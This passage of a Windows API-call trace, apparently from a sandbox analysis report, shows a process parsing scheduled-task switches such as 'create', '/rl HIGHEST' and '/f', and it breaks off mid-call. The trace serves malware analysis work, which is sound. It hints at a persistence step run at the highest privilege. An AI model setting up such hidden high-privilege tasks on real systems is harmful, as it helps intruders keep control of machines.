[0086.884] lstrlenW (lpString="rl") returned 2 [0086.884] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.884] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|p|") returned 3 [0086.884] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.884] lstrlenW (lpString="|p|") returned 3 [0086.884] lstrlenW (lpString="|rl|") returned 4 [0086.884] SetLastError (dwErrCode=0x490) [0086.884] lstrlenW (lpString="ru") returned 2 [0086.884] lstrlenW (lpString="ru") returned 2 [0086.884] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.884] lstrlenW (lpString="rl") returned 2 [0086.884] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.884] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ru|") returned 4 [0086.884] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.884] lstrlenW (lpString="|ru|") returned 4 [0086.884] lstrlenW (lpString="|rl|") returned 4 [0086.884] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0086.884] SetLastError (dwErrCode=0x490) [0086.884] lstrlenW (lpString="rp") returned 2 [0086.884] lstrlenW (lpString="rp") returned 2 [0086.884] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.884] lstrlenW (lpString="rl") returned 2 [0086.884] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.884] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rp|") returned 4 [0086.884] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.884] lstrlenW (lpString="|rp|") returned 4 [0086.884] lstrlenW (lpString="|rl|") returned 4 [0086.884] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0086.884] SetLastError (dwErrCode=0x490) [0086.885] lstrlenW (lpString="sc") returned 2 [0086.885] lstrlenW (lpString="sc") returned 2 [0086.885] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.885] lstrlenW (lpString="rl") returned 2 [0086.885] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.885] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.885] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.885] lstrlenW (lpString="|sc|") returned 4 [0086.885] lstrlenW (lpString="|rl|") returned 4 [0086.885] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0086.885] SetLastError (dwErrCode=0x490) [0086.885] lstrlenW (lpString="mo") returned 2 [0086.885] lstrlenW (lpString="mo") returned 2 [0086.885] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.885] lstrlenW (lpString="rl") returned 2 [0086.885] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.885] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|mo|") returned 4 [0086.885] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.885] lstrlenW (lpString="|mo|") returned 4 [0086.885] lstrlenW (lpString="|rl|") returned 4 [0086.885] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0086.885] SetLastError (dwErrCode=0x490) [0086.885] lstrlenW (lpString="d") returned 1 [0086.885] lstrlenW (lpString="d") returned 1 [0086.885] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.885] lstrlenW (lpString="rl") returned 2 [0086.885] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.885] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|d|") returned 3 [0086.885] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.886] lstrlenW (lpString="|d|") returned 3 [0086.886] lstrlenW (lpString="|rl|") returned 4 [0086.886] SetLastError (dwErrCode=0x490) [0086.886] lstrlenW (lpString="m") returned 1 [0086.886] lstrlenW (lpString="m") returned 1 [0086.886] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.886] lstrlenW (lpString="rl") returned 2 [0086.886] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.886] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|m|") returned 3 [0086.886] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.886] lstrlenW (lpString="|m|") returned 3 [0086.886] lstrlenW (lpString="|rl|") returned 4 [0086.886] SetLastError (dwErrCode=0x490) [0086.886] lstrlenW (lpString="i") returned 1 [0086.886] lstrlenW (lpString="i") returned 1 [0086.886] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.886] lstrlenW (lpString="rl") returned 2 [0086.886] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.886] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|i|") returned 3 [0086.886] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.886] lstrlenW (lpString="|i|") returned 3 [0086.886] lstrlenW (lpString="|rl|") returned 4 [0086.886] SetLastError (dwErrCode=0x490) [0086.886] lstrlenW (lpString="tn") returned 2 [0086.886] lstrlenW (lpString="tn") returned 2 [0086.886] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.886] lstrlenW (lpString="rl") returned 2 [0086.886] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.886] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tn|") returned 4 [0086.886] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.886] lstrlenW (lpString="|tn|") returned 4 [0086.887] lstrlenW (lpString="|rl|") returned 4 [0086.887] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0086.887] SetLastError (dwErrCode=0x490) [0086.887] lstrlenW (lpString="tr") returned 2 [0086.887] lstrlenW (lpString="tr") returned 2 [0086.887] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.887] lstrlenW (lpString="rl") returned 2 [0086.887] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.887] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|tr|") returned 4 [0086.887] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.887] lstrlenW (lpString="|tr|") returned 4 [0086.887] lstrlenW (lpString="|rl|") returned 4 [0086.887] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0086.887] SetLastError (dwErrCode=0x490) [0086.887] lstrlenW (lpString="st") returned 2 [0086.887] lstrlenW (lpString="st") returned 2 [0086.887] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.887] lstrlenW (lpString="rl") returned 2 [0086.887] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.887] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|st|") returned 4 [0086.887] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.887] lstrlenW (lpString="|st|") returned 4 [0086.887] lstrlenW (lpString="|rl|") returned 4 [0086.887] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0086.887] SetLastError (dwErrCode=0x490) [0086.887] lstrlenW (lpString="sd") returned 2 [0086.887] lstrlenW (lpString="sd") returned 2 [0086.887] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.887] lstrlenW (lpString="rl") returned 2 [0086.887] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.887] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sd|") returned 4 [0086.888] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.888] lstrlenW (lpString="|sd|") returned 4 [0086.888] lstrlenW (lpString="|rl|") returned 4 [0086.888] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0086.888] SetLastError (dwErrCode=0x490) [0086.888] lstrlenW (lpString="ed") returned 2 [0086.888] lstrlenW (lpString="ed") returned 2 [0086.888] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.888] lstrlenW (lpString="rl") returned 2 [0086.888] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.888] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ed|") returned 4 [0086.888] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.888] lstrlenW (lpString="|ed|") returned 4 [0086.888] lstrlenW (lpString="|rl|") returned 4 [0086.888] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0086.888] SetLastError (dwErrCode=0x490) [0086.888] lstrlenW (lpString="it") returned 2 [0086.888] lstrlenW (lpString="it") returned 2 [0086.888] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.888] lstrlenW (lpString="rl") returned 2 [0086.888] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.888] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|it|") returned 4 [0086.888] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.888] lstrlenW (lpString="|it|") returned 4 [0086.888] lstrlenW (lpString="|rl|") returned 4 [0086.888] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0086.888] SetLastError (dwErrCode=0x490) [0086.888] lstrlenW (lpString="et") returned 2 [0086.888] lstrlenW (lpString="et") returned 2 [0086.888] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.888] lstrlenW (lpString="rl") returned 2 [0086.888] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.889] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|et|") returned 4 [0086.889] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.889] lstrlenW (lpString="|et|") returned 4 [0086.889] lstrlenW (lpString="|rl|") returned 4 [0086.889] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0086.889] SetLastError (dwErrCode=0x490) [0086.889] lstrlenW (lpString="k") returned 1 [0086.889] lstrlenW (lpString="k") returned 1 [0086.889] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.889] lstrlenW (lpString="rl") returned 2 [0086.889] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.889] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|k|") returned 3 [0086.889] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.889] lstrlenW (lpString="|k|") returned 3 [0086.889] lstrlenW (lpString="|rl|") returned 4 [0086.889] SetLastError (dwErrCode=0x490) [0086.889] lstrlenW (lpString="du") returned 2 [0086.889] lstrlenW (lpString="du") returned 2 [0086.889] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.889] lstrlenW (lpString="rl") returned 2 [0086.889] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.889] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|du|") returned 4 [0086.889] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.889] lstrlenW (lpString="|du|") returned 4 [0086.889] lstrlenW (lpString="|rl|") returned 4 [0086.889] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0086.889] SetLastError (dwErrCode=0x490) [0086.889] lstrlenW (lpString="ri") returned 2 [0086.889] lstrlenW (lpString="ri") returned 2 [0086.889] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.890] lstrlenW (lpString="rl") returned 2 [0086.890] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.890] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ri|") returned 4 [0086.890] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.890] lstrlenW (lpString="|ri|") returned 4 [0086.890] lstrlenW (lpString="|rl|") returned 4 [0086.890] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0086.890] SetLastError (dwErrCode=0x490) [0086.890] lstrlenW (lpString="z") returned 1 [0086.890] lstrlenW (lpString="z") returned 1 [0086.890] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.890] lstrlenW (lpString="rl") returned 2 [0086.890] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.890] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|z|") returned 3 [0086.890] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.890] lstrlenW (lpString="|z|") returned 3 [0086.890] lstrlenW (lpString="|rl|") returned 4 [0086.890] SetLastError (dwErrCode=0x490) [0086.890] lstrlenW (lpString="f") returned 1 [0086.890] lstrlenW (lpString="f") returned 1 [0086.890] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.890] lstrlenW (lpString="rl") returned 2 [0086.890] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.890] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.890] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.890] lstrlenW (lpString="|f|") returned 3 [0086.890] lstrlenW (lpString="|rl|") returned 4 [0086.890] SetLastError (dwErrCode=0x490) [0086.890] lstrlenW (lpString="v1") returned 2 [0086.890] lstrlenW (lpString="v1") returned 2 [0086.890] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.890] lstrlenW (lpString="rl") returned 2 [0086.891] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.891] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|v1|") returned 4 [0086.891] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.891] lstrlenW (lpString="|v1|") returned 4 [0086.891] lstrlenW (lpString="|rl|") returned 4 [0086.891] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0086.891] SetLastError (dwErrCode=0x490) [0086.891] lstrlenW (lpString="xml") returned 3 [0086.891] lstrlenW (lpString="xml") returned 3 [0086.891] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.891] lstrlenW (lpString="rl") returned 2 [0086.891] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.891] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x6, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|xml|") returned 5 [0086.891] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.891] lstrlenW (lpString="|xml|") returned 5 [0086.891] lstrlenW (lpString="|rl|") returned 4 [0086.891] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0086.891] SetLastError (dwErrCode=0x490) [0086.891] lstrlenW (lpString="ec") returned 2 [0086.891] lstrlenW (lpString="ec") returned 2 [0086.891] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.891] lstrlenW (lpString="rl") returned 2 [0086.891] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.891] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ec|") returned 4 [0086.891] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.891] lstrlenW (lpString="|ec|") returned 4 [0086.891] lstrlenW (lpString="|rl|") returned 4 [0086.892] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0086.892] SetLastError (dwErrCode=0x490) [0086.892] lstrlenW (lpString="rl") returned 2 [0086.892] lstrlenW (lpString="rl") returned 2 [0086.892] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.892] lstrlenW (lpString="rl") returned 2 [0086.892] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.892] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.892] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rl|") returned 4 [0086.892] lstrlenW (lpString="|rl|") returned 4 [0086.892] lstrlenW (lpString="|rl|") returned 4 [0086.892] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0086.892] SetLastError (dwErrCode=0x0) [0086.892] SetLastError (dwErrCode=0x0) [0086.892] lstrlenW (lpString="HIGHEST") returned 7 [0086.892] lstrlenW (lpString="-/") returned 2 [0086.892] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0086.892] SetLastError (dwErrCode=0x490) [0086.892] SetLastError (dwErrCode=0x490) [0086.892] SetLastError (dwErrCode=0x0) [0086.892] lstrlenW (lpString="HIGHEST") returned 7 [0086.892] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0086.892] SetLastError (dwErrCode=0x490) [0086.892] SetLastError (dwErrCode=0x0) [0086.892] _memicmp (_Buf1=0xfd6a0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.892] lstrlenW (lpString="HIGHEST") returned 7 [0086.892] lstrlenW (lpString="HIGHEST") returned 7 [0086.892] lstrlenW (lpString=" \x09") returned 2 [0086.892] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.892] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.892] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0086.892] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0086.893] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0086.893] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0086.893] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0086.893] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0086.893] GetLastError () returned 0x0 [0086.893] lstrlenW (lpString="HIGHEST") returned 7 [0086.893] lstrlenW (lpString="HIGHEST") returned 7 [0086.893] SetLastError (dwErrCode=0x0) [0086.893] SetLastError (dwErrCode=0x0) [0086.893] lstrlenW (lpString="/f") returned 2 [0086.893] lstrlenW (lpString="-/") returned 2 [0086.893] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0086.893] lstrlenW (lpString="create") returned 6 [0086.893] lstrlenW (lpString="create") returned 6 [0086.893] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.893] lstrlenW (lpString="f") returned 1 [0086.893] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.893] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|create|") returned 8 [0086.893] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.893] lstrlenW (lpString="|create|") returned 8 [0086.893] lstrlenW (lpString="|f|") returned 3 [0086.893] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0086.893] SetLastError (dwErrCode=0x490) [0086.893] lstrlenW (lpString="?") returned 1 [0086.893] lstrlenW (lpString="?") returned 1 [0086.893] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.893] lstrlenW (lpString="f") returned 1 [0086.893] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.893] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|?|") returned 3 [0086.893] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.894] lstrlenW (lpString="|?|") returned 3 [0086.894] lstrlenW (lpString="|f|") returned 3 [0086.894] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0086.894] SetLastError (dwErrCode=0x490) [0086.894] lstrlenW (lpString="s") returned 1 [0086.894] lstrlenW (lpString="s") returned 1 [0086.894] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.894] lstrlenW (lpString="f") returned 1 [0086.894] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.894] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|s|") returned 3 [0086.894] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.894] lstrlenW (lpString="|s|") returned 3 [0086.894] lstrlenW (lpString="|f|") returned 3 [0086.894] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0086.894] SetLastError (dwErrCode=0x490) [0086.894] lstrlenW (lpString="u") returned 1 [0086.894] lstrlenW (lpString="u") returned 1 [0086.894] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.894] lstrlenW (lpString="f") returned 1 [0086.894] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.894] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|u|") returned 3 [0086.894] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.894] lstrlenW (lpString="|u|") returned 3 [0086.894] lstrlenW (lpString="|f|") returned 3 [0086.894] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0086.894] SetLastError (dwErrCode=0x490) [0086.894] lstrlenW (lpString="p") returned 1 [0086.894] lstrlenW (lpString="p") returned 1 [0086.894] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.894] lstrlenW (lpString="f") returned 1 [0086.894] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.894] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|p|") returned 3 [0086.895] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.895] lstrlenW (lpString="|p|") returned 3 [0086.895] lstrlenW (lpString="|f|") returned 3 [0086.895] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0086.895] SetLastError (dwErrCode=0x490) [0086.895] lstrlenW (lpString="ru") returned 2 [0086.895] lstrlenW (lpString="ru") returned 2 [0086.895] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.895] lstrlenW (lpString="f") returned 1 [0086.895] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.895] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|ru|") returned 4 [0086.895] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.895] lstrlenW (lpString="|ru|") returned 4 [0086.895] lstrlenW (lpString="|f|") returned 3 [0086.895] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0086.895] SetLastError (dwErrCode=0x490) [0086.895] lstrlenW (lpString="rp") returned 2 [0086.895] lstrlenW (lpString="rp") returned 2 [0086.895] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.895] lstrlenW (lpString="f") returned 1 [0086.895] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.895] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|rp|") returned 4 [0086.895] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.895] lstrlenW (lpString="|rp|") returned 4 [0086.895] lstrlenW (lpString="|f|") returned 3 [0086.895] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0086.895] SetLastError (dwErrCode=0x490) [0086.895] lstrlenW (lpString="sc") returned 2 [0086.895] lstrlenW (lpString="sc") returned 2 [0086.895] _memicmp (_Buf1=0xfc200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.895] lstrlenW (lpString="f") returned 1 [0086.895] _memicmp (_Buf1=0xfc340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0086.896] _vsnwprintf (in: _Buffer=0xfc380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|sc|") returned 4 [0086.896] _vsnwprintf (in: _Buffer=0xfc360, _BufferCount=0x4, _Format="|%s|", _ArgList=0xbc428 | out: _Buffer="|f|") returned 3 [0086.896] lstrlenW (lpString="|sc|") returned 4 [0086.896] lstrlenW (lpString="|f|") returned 3 [0086.896] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0086.896] SetLastError (dwErrCode=0x490) [0086.896] lstrlenW 